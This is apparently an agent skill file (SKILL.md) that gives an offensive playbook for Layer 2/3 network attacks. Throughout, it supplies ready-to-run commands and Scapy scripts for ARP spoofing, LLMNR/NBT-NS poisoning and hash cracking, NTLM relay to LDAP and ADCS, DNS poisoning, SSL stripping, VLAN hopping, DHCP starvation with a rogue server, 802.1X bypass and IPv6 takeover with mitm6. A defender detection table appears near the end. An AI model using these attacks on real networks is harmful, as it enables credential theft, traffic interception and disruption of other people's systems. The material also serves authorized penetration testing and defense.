Network Attacks (Layer 2/3) -- Offensive Methodology

You are attacking Layer 2/3 infrastructure during an authorized internal engagement. ARP, DHCP, broadcast name resolution, VLAN trunking, and IPv6 autoconfiguration are all unauthenticated -- you exploit that trust to intercept credentials, redirect traffic, and cross network boundaries.

Quick Workflow

Map your position -- VLAN, subnet, gateway, DNS, DHCP lease, IPv6 status.
Passively sniff with tcpdump/Wireshark to discover hosts and cleartext credentials.
Run Responder in analyze mode to observe LLMNR/NBT-NS/mDNS queries.
Enable Responder poisoning to capture NTLMv2 hashes.
Relay captured hashes with ntlmrelayx against hosts without SMB signing.
ARP spoof the gateway for targeted MITM and credential interception.
Probe VLAN boundaries via DTP negotiation and 802.1Q double tagging.
Exploit IPv6 autoconfiguration with mitm6 for DNS takeover and NTLM relay.

ARP Spoofing

ARP has no authentication. You send gratuitous ARP replies to associate your MAC with the gateway IP in the victim's cache, routing their traffic through you.

Bettercap ARP Module

bash

sudo bettercap -iface eth0
net.probe on                              # discover live hosts
net.show
set arp.spoof.targets 10.0.0.50          # single target
set arp.spoof.fullduplex true            # poison both victim and gateway
arp.spoof on

arpspoof and Ettercap

bash

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1   # tell victim you are the gateway
arpspoof -i eth0 -t 10.0.0.1 10.0.0.50   # tell gateway you are the victim (second terminal)

# Ettercap alternative
sudo ettercap -T -M arp:remote /10.0.0.50// /10.0.0.1//
sudo ettercap -T -M arp:remote -F inject.ef /10.0.0.50// /10.0.0.1//  # with filter

Gratuitous ARP with Scapy

python

from scapy.all import Ether, ARP, sendp
import time

pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
    op=2, psrc="10.0.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.0.0.50"
)
while True:
    sendp(pkt, iface="eth0", verbose=False)
    time.sleep(2)

Bypassing Static ARP Entries

Static entries block standard poisoning. Workarounds: overflow the ARP table so the host falls back to dynamic resolution; redirect at Layer 3 via DHCP/DNS attacks; or use VLAN hopping to attack from a segment without static entries.

LLMNR / NBT-NS / mDNS Poisoning

When DNS fails, Windows falls back to LLMNR (UDP 5355), NBT-NS (UDP 137), and mDNS (UDP 5353). You answer these broadcast queries with your IP, forcing victims to authenticate to your rogue services.

Responder Setup and Hash Capture

bash

sudo responder -I eth0 -A                    # analyze mode -- observe without poisoning
sudo responder -I eth0 -wrf                  # full poisoning: -w WPAD, -r NBT-NS, -f fingerprint
# Hashes land in /opt/Responder/logs/
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule   # NTLMv2
hashcat -m 5500 hashes.txt wordlist.txt                        # NTLMv1 (weaker)

WPAD is a high-value vector: browsers query for

wpad.dat

via DNS then LLMNR/NBT-NS. The

-w

flag makes Responder serve a malicious WPAD config that captures NTLM authentication from browser traffic transparently.

Inveigh (Windows-Native)

From a compromised Windows host, poison without dropping Linux tools:

powershell

Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y -HTTPS Y -Proxy Y
Inveigh.exe -FileOutput Y -NBNS Y -mDNS Y -HTTP Y -LLMNR Y   # C# binary avoids PS logging

NTLMv1/v2 Relay with ntlmrelayx

When cracking fails, relay captured authentication to targets without SMB signing. Disable SMB and HTTP in Responder.conf first -- ntlmrelayx handles those protocols.

bash

nxc smb 10.0.0.0/24 --gen-relay-list no-signing.txt
impacket-ntlmrelayx -tf no-signing.txt -smb2support -c "whoami"           # command exec
impacket-ntlmrelayx -tf no-signing.txt -t ldap://10.0.0.10 \
  --escalate-user attacker --delegate-access                               # LDAP privesc
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController                          # ADCS ESC8

Trigger authentication via Responder poisoning, PetitPotam, PrinterBug, or DFSCoerce.

DNS Poisoning

DNS attacks redirect traffic at the application layer. You do not need Layer 2 adjacency if you control the resolution path.

Rogue DNS Server via DHCP Option 6

After DHCP starvation or on a network without DHCP snooping, deploy dnsmasq with your IP as DNS (option 6):

bash

# /etc/dnsmasq-rogue.conf:
#   interface=eth0
#   dhcp-range=10.0.0.100,10.0.0.200,255.255.255.0,12h
#   dhcp-option=3,10.0.0.99    # gateway
#   dhcp-option=6,10.0.0.99    # DNS
#   address=/intranet.corp.local/10.0.0.99
#   server=8.8.8.8
sudo dnsmasq -C /etc/dnsmasq-rogue.conf -d

DNS Cache Poisoning with Scapy

python

from scapy.all import IP, UDP, DNS, DNSQR, DNSRR, send
import random

# Flood spoofed responses -- must match in-flight query txid and src port
for txid in range(1, 65535):
    pkt = IP(dst="10.0.0.2", src="8.8.8.8") / \
          UDP(sport=53, dport=random.randint(1024, 65535)) / \
          DNS(id=txid, qr=1, aa=1, qd=DNSQR(qname="intranet.corp.local"),
              an=DNSRR(rrname="intranet.corp.local", rdata="10.0.0.99", ttl=86400))
    send(pkt, verbose=False)

Modern resolvers randomize source ports and transaction IDs. Practical Kaminsky-style poisoning requires matching both fields simultaneously.

DNS Rebinding

Bypass same-origin policy by toggling a DNS record between your server and an internal IP:

bash

# singularity framework: first resolution serves JS payload, second returns internal target
./singularity -DNSRebindStrategy DNSRebindFromRequest \
  -ResponseIPAddr 10.0.0.99 -ResponseReboundIPAddr 192.168.1.1

Man-in-the-Middle (MITM)

Once positioned between victim and gateway (via ARP spoof, DHCP redirect, or tap), intercept and modify traffic.

Bettercap HTTP Proxy and SSL Strip

bash

sudo bettercap -iface eth0
set arp.spoof.targets 10.0.0.50
set arp.spoof.fullduplex true
arp.spoof on
set http.proxy.sslstrip true
http.proxy on
set net.sniff.verbose true
set net.sniff.regexp .*pass.*|.*user.*|.*login.*
net.sniff on

HSTS Bypass with sslstrip+ and dns2proxy

sslstrip+ rewrites domain names (e.g.,

accounts.google.com

accountss.google.com

) so the browser never applies HSTS. dns2proxy resolves rewritten domains to real IPs.

bash

arpspoof -i eth0 -t 10.0.0.50 10.0.0.1                                      # terminal 1
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000  # terminal 2
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 10000
python dns2proxy.py -i eth0                                                   # terminal 3
python sslstrip.py -l 10000 -a -w sslstrip.log                               # terminal 4

Credential Interception from Proxied Traffic

bash

tshark -r capture.pcap -Y "http.authbasic" -T fields -e http.authbasic
tshark -r capture.pcap -Y "ftp.request.command == USER || ftp.request.command == PASS" \
  -T fields -e ftp.request.command -e ftp.request.arg
python3 Pcredz -f capture.pcap           # automated extraction (NTLM, HTTP, FTP, SMTP, SNMP)
sudo python3 net-creds.py -i eth0        # real-time credential sniffer

VLAN Hopping

Switch Spoofing (DTP Negotiation)

If the switch port is in dynamic auto/desirable mode (common Cisco default), negotiate a trunk:

bash

sudo yersinia dtp -attack 1 -interface eth0    # DTP trunk negotiation
sudo tcpdump -i eth0 -nn -e vlan              # verify trunk formed
sudo modprobe 8021q
sudo vconfig add eth0 100                      # sub-interface for VLAN 100
sudo ifconfig eth0.100 10.100.0.99 netmask 255.255.255.0 up

Double Tagging (802.1Q)

Works when you are on the native VLAN and the switch strips only the outer tag. Unidirectional -- you send into the target VLAN but responses route normally and will not reach you.

python

from scapy.all import Ether, Dot1Q, IP, ICMP, ARP, sendp

# Outer tag = native VLAN (1), inner tag = target VLAN (100)
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / \
      Dot1Q(vlan=1) / Dot1Q(vlan=100) / IP(dst="10.100.0.50") / ICMP()
sendp(pkt, iface="eth0")

# Double-tagged ARP poisoning into target VLAN
arp_poison = Ether(dst="ff:ff:ff:ff:ff:ff") / Dot1Q(vlan=1) / Dot1Q(vlan=100) / \
    ARP(op=2, psrc="10.100.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.100.0.50")
sendp(arp_poison, iface="eth0", count=10, inter=2)

Yersinia Layer 2 Attacks

bash

sudo yersinia stp -attack 4 -interface eth0  # STP root bridge takeover
sudo yersinia cdp -attack 1 -interface eth0  # CDP flood (Cisco switches)

DHCP Attacks

DHCP Starvation

Exhaust the pool so legitimate clients cannot get addresses:

bash

sudo dhcpstarv -i eth0                         # dedicated starvation tool
sudo yersinia dhcp -attack 1 -interface eth0   # Yersinia alternative

python

from scapy.all import Ether, IP, UDP, BOOTP, DHCP, RandMAC, sendp
import random

for i in range(500):
    mac = str(RandMAC())
    pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / \
          UDP(sport=68, dport=67) / BOOTP(chaddr=bytes.fromhex(mac.replace(":", "")),
          xid=random.randint(1, 0xFFFFFFFF)) / DHCP(options=[("message-type", "discover"), "end"])
    sendp(pkt, iface="eth0", verbose=False)

Rogue DHCP Server for Gateway Redirect

After starvation, offer leases with your IP as gateway and DNS:

bash

# /etc/dnsmasq-rogue.conf: interface=eth0, dhcp-range=10.0.0.100,10.0.0.200,255.255.255.0,12h
#   dhcp-option=3,10.0.0.99 (gateway)   dhcp-option=6,10.0.0.99 (DNS)   dhcp-authoritative
sudo dnsmasq -C /etc/dnsmasq-rogue.conf -d
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

802.1X / NAC Bypass

MAB Bypass (MAC Spoofing)

If NAC uses MAC Authentication Bypass for printers/VoIP phones, spoof an authorized MAC:

bash

sudo tcpdump -i eth0 -e -c 100 | awk '{print $2}' | sort -u  # discover authorized MACs
sudo ip link set eth0 down
sudo ip link set eth0 address AA:BB:CC:DD:EE:FF
sudo ip link set eth0 up && sudo dhclient eth0

Hub / Bridge Insertion

Bridge between an authenticated device and the switch port. 802.1X authenticates the port, not individual MACs -- your traffic shares the authenticated session:

bash

sudo ip link add name br0 type bridge
sudo ip link set eth0 master br0          # eth0 to switch
sudo ip link set eth1 master br0          # eth1 to authenticated device
sudo ip link set br0 up

Certificate Impersonation

If EAP-TLS is used and the RADIUS server does not validate the CA chain strictly:

bash

openssl req -new -x509 -days 365 -keyout fake-ca.key -out fake-ca.crt -subj "/CN=Corp-CA/O=Corp"
openssl req -new -keyout client.key -out client.csr -subj "/CN=PRINTER01/O=Corp"
openssl x509 -req -in client.csr -CA fake-ca.crt -CAkey fake-ca.key -CAcreateserial -out client.crt
# wpa_supplicant config: key_mgmt=IEEE8021X, eap=TLS, identity="PRINTER01", certs as above
sudo wpa_supplicant -i eth0 -D wired -c /etc/wpa_supplicant/wired.conf

NAC Profiling Evasion

Match expected device fingerprint -- OUI, DHCP hostname, TCP stack:

bash

sudo macchanger -m 00:1A:4B:XX:XX:XX eth0                     # HP printer OUI
sudo dhclient -H "HP-LaserJet-M402" eth0                       # expected hostname
sudo iptables -t mangle -A POSTROUTING -j TTL --ttl-set 128   # Windows TTL

IPv6 Attacks

Most internal networks run dual-stack but lack IPv6 monitoring. Windows prefers IPv6 DNS over IPv4 -- advertise an IPv6 DNS server and all queries route through you.

SLAAC Abuse with mitm6

mitm6 replies to DHCPv6 requests, sets your host as DNS, then victims' name lookups trigger NTLM authentication back to your relay listener:

bash

sudo mitm6 -d corp.local -i eth0                                       # terminal 1: DNS takeover
impacket-ntlmrelayx -6 -t ldaps://dc01.corp.local \
  --delegate-access -wh attacker-wpad.corp.local                        # terminal 2: relay

Router Advertisement Spoofing

python

from scapy.all import (Ether, IPv6, ICMPv6ND_RA, ICMPv6NDOptSrcLLAddr,
                        ICMPv6NDOptPrefixInfo, ICMPv6NDOptRDNSS, sendp)

ra = Ether(dst="33:33:00:00:00:01") / IPv6(dst="ff02::1") / \
     ICMPv6ND_RA(routerlifetime=1800) / ICMPv6NDOptSrcLLAddr(lladdr="aa:bb:cc:dd:ee:ff") / \
     ICMPv6NDOptPrefixInfo(prefix="fd00::", prefixlen=64, validlifetime=1800) / \
     ICMPv6NDOptRDNSS(dns=["fd00::99"], lifetime=1800)
sendp(ra, iface="eth0", loop=1, inter=5)

DHCPv6 Poisoning and THC-IPV6

bash

sudo atk6-fake_dhcps6 eth0 fd00::99 fe80::1 corp.local   # fake DHCPv6 server
sudo atk6-alive6 eth0                                      # discover IPv6 hosts
sudo atk6-fake_router6 eth0 fd00::/64                      # SLAAC prefix injection
sudo atk6-parasite6 eth0                                   # ICMPv6 neighbor spoofing
sudo atk6-flood_router6 eth0                                # RA flood (DoS)

NTLM Relay via IPv6

bash

sudo mitm6 -d corp.local -i eth0 --ignore-nofqdn
impacket-ntlmrelayx -6 -t http://ca.corp.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template Machine                    # relay to ADCS for cert theft

Sniffing and Traffic Analysis

Passive sniffing generates zero noise. Start here before any active technique.

tcpdump

bash

sudo tcpdump -i eth0 -w capture.pcap -nn                                         # full capture
sudo tcpdump -i eth0 -w auth.pcap -nn 'port 21 or port 23 or port 25 or port 445 or port 80'
sudo tcpdump -i eth0 -w broadcast.pcap -nn 'udp port 5355 or udp port 137 or udp port 5353'
sudo tcpdump -i eth0 -w dhcp.pcap -nn 'udp port 67 or udp port 68'

Wireshark Display Filters

text

http.authbasic                          HTTP Basic Auth
ftp.request.command == "PASS"           FTP password
smtp.req.parameter contains "AUTH"      SMTP auth
ntlmssp                                 NTLM SSP traffic
ntlmssp.auth.username                   NTLM username
smb2.cmd == 1                           SMB session setup
dns.qry.name contains "wpad"            WPAD queries
llmnr                                   LLMNR broadcast
arp.duplicate-address-detected          ARP anomalies
vlan                                    802.1Q frames
snmp.community                          SNMP strings
kerberos.msg.type == 10                 Kerberos AS-REQ

Credential Extraction

bash

python3 Pcredz -f capture.pcap                                                    # from pcap
sudo python2 net-creds.py -i eth0                                                 # real-time
tshark -r capture.pcap -Y "http.request.method == POST" \
  -T fields -e http.host -e http.request.uri -e urlencoded-form.value             # HTTP POST

Detection / Defender View

Attack	Primary Detection	Key Indicators
ARP Spoofing	Duplicate MAC for gateway IP, ARP storms	DAI logs, IDS ARP anomaly signatures
LLMNR/NBT-NS Poisoning	Unexpected multicast responses, SMB auth to unknown hosts	Event 4697, network IDS, LLMNR traffic spikes
DNS Poisoning	Mismatched DNS responses, TTL anomalies	DNS query logs, RPZ alerts, DNSSEC validation failures
MITM / SSL Strip	HTTP on known HTTPS-only services, cert warnings	HSTS preload failures, proxy logs, certificate transparency
VLAN Hopping	DTP frames from access ports, double-tagged frames	Switch port security logs, unexpected 802.1Q frames
DHCP Starvation	Rapid DHCP discover flood from random MACs	DHCP snooping violations, unusual OUI patterns
Rogue DHCP	Multiple DHCP offers, conflicting gateway/DNS	DHCP snooping trusted port violations
802.1X Bypass	MAC flapping, multiple MACs on authenticated port	Port security violations, 802.1X re-auth failures
IPv6 SLAAC/DHCPv6	Unexpected RAs, DHCPv6 from unknown source	RA Guard violations, NDPMon alerts
Passive Sniffing	Promiscuous NIC mode	Promiscuous detection scripts, switch SPAN alerts

Defender controls you will encounter:

Dynamic ARP Inspection (DAI) -- validates ARP against DHCP snooping table; blocks ARP spoofing.
DHCP Snooping -- restricts DHCP to trusted ports; prevents rogue DHCP and starvation.
Port Security -- limits MACs per port; blocks starvation and MAB spoofing.
RA Guard -- filters unauthorized Router Advertisements; blocks mitm6/SLAAC.
SMB Signing / LDAP Signing+Channel Binding -- blocks NTLM relay.
Native VLAN hardening (unused VLAN as native) -- defeats double tagging.
Private VLANs -- prevents same-VLAN host-to-host traffic; limits ARP spoof scope.
NDR (Darktrace, Vectra, ExtraHop) -- detects anomalous lateral traffic.

Engagement Cheatsheet

text

SCENARIO                              TECHNIQUE                    TOOL / COMMAND
------------------------------------  ---------------------------  ------------------------------------------------
Harvest creds passively               LLMNR/NBT-NS poisoning      responder -I eth0 -wrf
Creds captured, won't crack           NTLM relay                  ntlmrelayx -tf targets.txt -smb2support
MITM a specific host                  ARP spoof + sniff           bettercap: arp.spoof on + net.sniff on
Intercept HTTPS traffic               SSL strip + HSTS bypass     sslstrip+ / dns2proxy / bettercap http.proxy
Reach another VLAN                    DTP trunk negotiation       yersinia dtp -attack 1
Reach VLAN (DTP disabled)             Double tagging              scapy: Dot1Q(vlan=1)/Dot1Q(vlan=target)
Exhaust DHCP, become gateway          Starvation + rogue DHCP     dhcpstarv + dnsmasq rogue config
Bypass 802.1X (MAB fallback)          MAC spoofing                macchanger -m <auth_mac> eth0
Bypass 802.1X (physical)              Bridge insertion             ip link add br0 type bridge
IPv6 DNS takeover + relay             SLAAC/DHCPv6 poisoning      mitm6 -d domain + ntlmrelayx -6
Passive recon only                    Traffic sniffing             tcpdump -i eth0 -w capture.pcap
Extract creds from capture            Credential extraction        PCredz -f capture.pcap / net-creds
Disrupt STP topology                  STP root bridge attack       yersinia stp -attack 4
Poison from Windows foothold          Windows-native poisoning     Inveigh -LLMNR Y -NBNS Y

MITRE ATT&CK references:

T1557 -- Adversary-in-the-Middle
T1557.001 -- LLMNR/NBT-NS Poisoning and SMB Relay
T1557.002 -- ARP Cache Poisoning
T1557.003 -- DHCP Spoofing
T1040 -- Network Sniffing
T1599 -- Network Boundary Bridging

Key References

Bettercap documentation: https://www.bettercap.org/modules/
Responder: https://github.com/lgandx/Responder
mitm6: https://github.com/dirkjanm/mitm6
Impacket (ntlmrelayx): https://github.com/fortra/impacket
Ettercap: https://www.ettercap-project.org/
Yersinia: https://github.com/tomac/yersinia
THC-IPV6: https://github.com/vanhauser-thc/thc-ipv6
Inveigh: https://github.com/Kevin-Robertson/Inveigh
Scapy: https://scapy.readthedocs.io/
PCredz: https://github.com/lgandx/PCredz
Singularity (DNS rebinding): https://github.com/nccgroup/singularity
The Hacker Recipes -- NTLM relay: https://www.thehacker.recipes/ad/movement/ntlm/relay
MITRE ATT&CK T1557: https://attack.mitre.org/techniques/T1557/
MITRE ATT&CK T1040: https://attack.mitre.org/techniques/T1040/

offensive-network-attacks

NPX Install

Tags

SKILL.md Content

Network Attacks (Layer 2/3) -- Offensive Methodology

Quick Workflow

ARP Spoofing

Bettercap ARP Module

arpspoof and Ettercap

Gratuitous ARP with Scapy

Bypassing Static ARP Entries

LLMNR / NBT-NS / mDNS Poisoning

Responder Setup and Hash Capture

Inveigh (Windows-Native)

NTLMv1/v2 Relay with ntlmrelayx

DNS Poisoning

Rogue DNS Server via DHCP Option 6

DNS Cache Poisoning with Scapy

DNS Rebinding

Man-in-the-Middle (MITM)

Bettercap HTTP Proxy and SSL Strip

HSTS Bypass with sslstrip+ and dns2proxy

Credential Interception from Proxied Traffic

VLAN Hopping

Switch Spoofing (DTP Negotiation)

Double Tagging (802.1Q)

Yersinia Layer 2 Attacks

DHCP Attacks

DHCP Starvation

Rogue DHCP Server for Gateway Redirect

802.1X / NAC Bypass

MAB Bypass (MAC Spoofing)

Hub / Bridge Insertion

Certificate Impersonation

NAC Profiling Evasion

IPv6 Attacks

SLAAC Abuse with mitm6

Router Advertisement Spoofing

DHCPv6 Poisoning and THC-IPV6

NTLM Relay via IPv6

Sniffing and Traffic Analysis

tcpdump

Wireshark Display Filters

Credential Extraction

Detection / Defender View

Engagement Cheatsheet

Key References